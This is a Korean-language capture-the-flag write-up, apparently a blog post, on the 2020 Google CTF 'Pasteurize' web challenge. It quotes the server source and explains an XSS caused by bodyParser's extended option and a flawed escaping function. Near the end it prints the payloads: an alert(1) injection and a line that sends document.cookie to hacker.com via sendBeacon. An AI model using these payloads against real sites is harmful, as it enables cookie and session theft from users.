This doesn't look secure. I wouldn't put even the littlest secret in here. My source tells me that third parties might have implanted it with their little treats already. Can you prove me right?
https://pasteurize.web.ctfcompetition.com/
웹페이지를 접속하면 글을 작성할 수 있는 간단한 form이 존재하고 /source로 Server Source code를 얻을 수 있다.
<!-- Page: / -->
<body>
<nav class="navbar navbar-expand-md navbar-light bg-light">
<div class="collapse navbar-collapse mr-auto">
<a href="/" class="navbar-brand">Pasteurize</a>
</div>
</nav>
<div class="container w-50 pt-5">
<h3>Create new paste</h3>
<form class="form" method="post">
<textarea class="form-control" name="content"></textarea>
<input type="submit" class="mt-3 btn btn-primary btn-block" value="Submit">
</form>
</div>
<a href="/source" style="display:none">Source</a>
</body>
POST content값이 script tag내 note 변수에 필터링되어 저장이 되며 DOMPurify.sanitize를 거쳐 HTML로 랜더링 됨으로 XSS가 발생되지 않는다.
<!-- Page: /[a-f0-9\-]{36} -->
<script>
const note = "\"'`\x3C\x3E";
const note_id = "c981f11b-944a-4dc8-8ed8-0e493e65cf91";
const note_el = document.getElementById('note-content');
const note_url_el = document.getElementById('note-title');
const clean = DOMPurify.sanitize(note);
note_el.innerHTML = clean;
note_url_el.href = `/${note_id}`;
note_url_el.innerHTML = `${note_id}`;
</script>
글을 읽어올 때 id에 맞는 note.content 값을 escape_string을 거쳐 res.render에 전달해 template를 랜더링한다.
여기서 bodyparser extended: true 옵션과 escape_string을 통해 script tag 내 값들을 조작할 수 있게 된다.
/* Page: /source */
... 생략 ...
/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
extended: true
}));
... 생략 ...
/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
.replace(/</g, '\\x3C').replace(/>/g, '\\x3E');
... 생략 ...
/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
const note_id = req.params.id;
const note = await DB.get_note(note_id);
if (note == null) {
return res.status(404).send("Paste not found or access has been denied.");
}
const unsafe_content = note.content;
const safe_content = escape_string(unsafe_content);
res.render('note_public', {
content: safe_content,
id: note_id,
captcha: res.recaptcha
});
});
... 생략 ...
content값을 Array로 전달해 XSS를 발생시킬 수 있다.
// alert
content[]=;alert(1);
const note="";alert(1);""
// hijack cookie
content[]=;navigator.sendBeacon(`https://hacker.com`,document.cookie);
const note="";navigator.sendBeacon(`https://hacker.com`,document.cookie);""
2020 Google CTF Web ALL THE LITTLE THINGS 298pt (0) | 2020.08.26 |
---|---|
2020 Google CTF Web TECH SUPPORT 136pt (0) | 2020.08.26 |
2020 Google CTF Web LOG-ME-IN 87pt (0) | 2020.08.25 |